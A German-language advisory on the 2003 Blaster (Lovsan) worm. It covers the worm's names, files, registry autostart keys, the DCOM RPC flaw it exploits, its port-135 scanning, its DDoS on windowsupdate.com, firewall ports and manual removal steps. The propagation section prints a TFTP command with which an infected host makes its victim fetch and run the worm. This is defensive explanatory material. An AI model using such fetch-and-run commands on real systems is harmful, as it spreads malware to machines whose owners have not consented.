Der Blaster Wurm(W32.Blaster.Worm) unter neue Prozeßnamen unterwegs?
Namen:
W32/Lovsan.worm.a [McAfee], Win32.Poza.A [CA], Lovsan [F-Secure], WORM_MSBLAST.A [Trend], W32/Blaster-A [Sophos], W32/Blaster [Panda], Worm.Win32.Lovesan [KAV]
Name der Datei:
msblast.exe / penis32.exe / penis.exe / teekids.exe / root32.exe / index.exe / winlogin.exe
im Ordner:
C:\Windows\system oder C:\Windows\system32
Typ:
Internet Wurm
Grösse:
ca. 5 - 11 KB Größe je nach Variante, Original: 6.176 Bytes (UPX gepackt)
Betriebssystem:
Windows NT/2000/XP/2003
nicht betroffen: Windows 98 und Me
Verbreitung:
Netzwerke / Internet
Risiko der Infizierung:
sehr hoch
Schaden:
unkontrollierter Rechnerabsturz
Suche von weiteren Opfern über Port 135
DDoS-Angriff auf Microsoft-Server
Beschreibung:
Viele Experten warnten schon seit Wochen vor einer neu entdeckten Sicherheitslücke in Windows Systemen...
Mittlerweile sind weltweit Millionen Rechner infiziert!
US-Behörden warnen seit Ende Juli vor einem groß angelegten Hacker-Angriff auf das Internet. Nun tauchte der Internet Wurm Blaster beziehungsweise Lovsan auf, der eine DDOS-Attacke auf Microsoft vorbereitet. Dabei könnte es sich um besagten Großangriff handeln, urteilen Experten.
W32.Blaster.Worm ist ein Wurm, der sich über das Internet oder Netzwerke verbreitet.
Er nutzt dazu die sogenannte DCOM RPC Schwachstelle aus. Es handelt sich dabei um einen nicht geprüften Puffer im "Windows Distributed Component Object Model (DCOM) Remote Procedure Call (RPC) Interface". Durch Überschreiben der Puffergrenze kann ein beliebiger Programmcode ausgeführt werden. Diese Sicherheitslücke befindet sich in nicht gepatchten Windows NT/2000/XP-Systemen.
Informationen zu dieser Sicherheitslücke und den PATCH finden Sie hier:
- eine deutsche Beschreibung und den PATCH finden Sie hier
Windows 98 und Windows Me sind von dem Wurm nicht betroffen.
Kurz nach der Einwahl ins Internet startete der Rechner neu - immer wieder und wieder.
Ein untrügliches Zeichen: Das System ist vermutlich bereits infiziert.
Dienst "Remoteprozeduraufruf (RPC)" wurde unerwartet beendet.
Das System wird heruntergefahren. Speichern Sie alle Daten, und melden Sie sich ab.
Alle Änderungen, die nicht gespeichert werden, gehen verloren.
Das Herunterfahren wurde von NT AUTHORITÄT\SYSTEM ausgelöst
Tipp für Windows XP: Schalten Sie in den Eigenschaften von Arbeitsplatz (Systemsteuerung -> System) -> Erweitert -> "Starten und Wiederherstellen" die Option "Automatischen Neustart durchführen" ab, um etwaige "Bluescreens" zu sehen!
Windows XP/2003: Dr. Watson (Problembericht an Microsoft senden) erscheint ohne Grund.
Windows NT4.0/2000: Bluescreen bzw. Stop-Fehler.
Suche nbach dem Wurm: Vorhandensein einer zusätzlichen Exe-Datei (der Wurm!) in der Prozessliste (Taskmanager!). Im Original heißt der Wurm mblast.exe, es ist jedoch nicht auszuschließen, dass andere Varianten einen "unauffälligeren" Namen verwenden werden.
Auf befallenenen Systemen (A) startet der Wurm einen TFTP-Server und greift weitere Windows Systeme (B) auf Port 135 an. War ein Angriff erfolgreich, wird der eingeschleuste Code ausgeführt, der auf System B eine Shell auf Port 4444 öffnet. System A veranlasst System B mittels TFTP (tftp <host a> get msblast.exe) die Datei msblast.exe in das Verzeichnis %WinDir%\System32 nachzuladen und zu starten. Anschließend installiert sich der Wurm auf System B, schließt Port 4444, startet einen TFTP-Server und greift weitere Systeme an.
Der Wurm selbst ist UPX-gepackt. Die msblast.exe enthält einen Text, der jedoch nicht angezeigt wird:
I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!
Zum automatischen Start erzeugt der W32.Blaster.Worm den folgenden Registrierschlüssel: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion \Run
"windows auto update" = msblast.exe
HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\ Run
"windows auto update" = msblast.exe I just want to say LOVE YOU SAN!! bill
Bei der Suche nach weiteren angreifbaren Rechnern werden zunächst die lokalen Subnetze durchsucht. Danach werden zufällige IP-Adressen zur Suche verwendet.
Weiterhin führt der W32.Blaster.Worm eine sog. DDoS-Attacke gegen Microsoft Server
www.windowsupdate.com durch.
Diese Attacke wird in den Monaten Januar bis August vom 16. bis zum Ende des Monats, in den Monaten September bis Dezember fortlaufend (täglich) durchgeführt.
Administratoren und private Anwender sollten mit einer Firewall die folgenden Ports sperren:
69 UDP
135 TCP
135 UDP
139 TCP
139 UDP
445 TCP
445 UDP
4444 TCP
Aktuelle Viren-Signaturen von Schutzsoftware erkennen die Datei MSBLAST.EXE während des Downloads.
Besonders Rechner von Privatanwender sind gefährdet! Die entsprechenden Funktionen und Schwachstellen sind in allen Versionen von Windows NT/2000/XP enthalten.
Blaster: Wurm-Nachfolger mit Backdoor-Funktion
Nur wenige Stunden nach den ersten Attacken des "Blaster"-Wurms ist ein Nachfolger im Netz aufgetaucht. Der "RPCSDBOT" verbreitet sich - wie "Blaster" - über die Sicherheitslücke im "Remote Procedure Call" des Windows-Systems. Der neue Schädling ist allerdings noch viel gefährlicher, da er dem Angreifer vollen Zugang zum infizierten Rechner gewährt und dieser jede Art von Programmen auf den infizierten Rechner ausführen kann. Außerdem arbeitet der Wurm mit einer "Backdoor", die sich mit einem IRC-Server verbindet. Über ihn soll das infizierte System kontrolliert werden.
Laut Microsofts Bulletin Board ist der Wurm über den TCP/IP-Port 135 eines mit dem Internet verbundenen PCs aktiv. Betroffen sind die Betriebssysteme Windows NT, 2000 und XP.
Anleitung zur Entfernung des Wurms
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1. Der Zugang zum Internet wird insbesondere bei Windows XP-Rechnern immer wieder durch einen Neustart unterbrochen. Dieser Prozess kann abgebrochen werden. Sobald eine Meldung erscheint, dass der Rechner heruntergefahren werden muß, klickt man im Startmenü auf "Ausführen...".
In der dann angezeigten Eingabezeile wird der Befehl "shutdown -a" eingeben und mit "OK" bestätigt._
2. Ein Neustart wäre zwecklos denn bei jedem Neustart eines infizierten Rechners lädt sich der Wurm automatisch ins System. Der Löschversuch von msblast.exe misslingt, weil der Prozess noch aktiv ist. Als erstes muss der Prozess msblast.exe beendet werden. Dazu startet man den Task-Manager und klickt auf Registerkarte Prozesse. Dann markiert man den Prozess msblast.exe und klickt auf Beenden (unten rechts). Die Warnung des Taskmanager bestätigen. Danach kann die Datei msblast.exe gelöscht werden.
3 . bei XP Rechnern die interne Firewall aktivieren / Windows 2000 ->Schritt 4:
- DFÜ oder Netzwerkverbindung beenden
- Rechtsklick auf "Netzwerkumgebung" auf dem Desktop, wählen Sie die Eigenschaften
- Sie finden dort den Eintrag für Ihre DFÜ oder Netzwerkverbindung -> Rechtsklick
- wählen Sie nun den Reiter "Erweitert" und aktivieren Sie dort die "Internetverbindungs Firewall"
4. Downloaden Sie den Patch von Microsoft -> Patch Download
5. Downloaden und starten Sie das kostenlose Fixblast.exe von Symantec -> Tool Download
6. Trennen Sie nun die Internetverbindung!
7. Starten Sie Ihren Registrierungseditor (Start->Ausführen-> Eingabe "Regedit")
8. Die folgenden Einträge müssen aus der Registry gelöscht werden. Sonst wird der Virus nach dem Neustart des Rechners wieder aktiv:
HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run
"windows auto update" = msblast.exe
HKEY_LOCAL_MACHINE\SOFTWARE\ Microsoft\Windows\CurrentVersion\Run
"windows auto update" = msblast.exe I just want to say LOVE YOU SAN!! bill
9. installieren und/oder aktualisieren Sie einen/Ihren Virenscanner -> Virenscanner Download
10. Zusätzlichen Schutz bietet eine Firewall, die derartige Angriffe verhindern kann.
Hierbei muß eine Regel definiert werden, die den Port 135 TCP und 445 TCP (incoming) blockiert.
11. Installieren Sie die aktuellsten kritischen Updates für die von Ihnen verwendete Version von Windows...
Erklärungen:__
DDOS-Attacke
Bei DoS-Attacken greift der Täter mit sehr großen Datenmengen den Server einer Site an. Dieser kann die Flut nicht bewältigen und geht zu Boden. Ein "normaler" Computer kann solche Massen nicht erzeugen. Deshalb nutzen die Verursacher oft unbemerkt die Maschinen ahnungsloser Dritter. Diese werden damit zu so genannten "Zombie-Hosts", man spricht von einer Distributed-Denial-of-Service-Attacke, kurz DDOS.
http://msblast.de/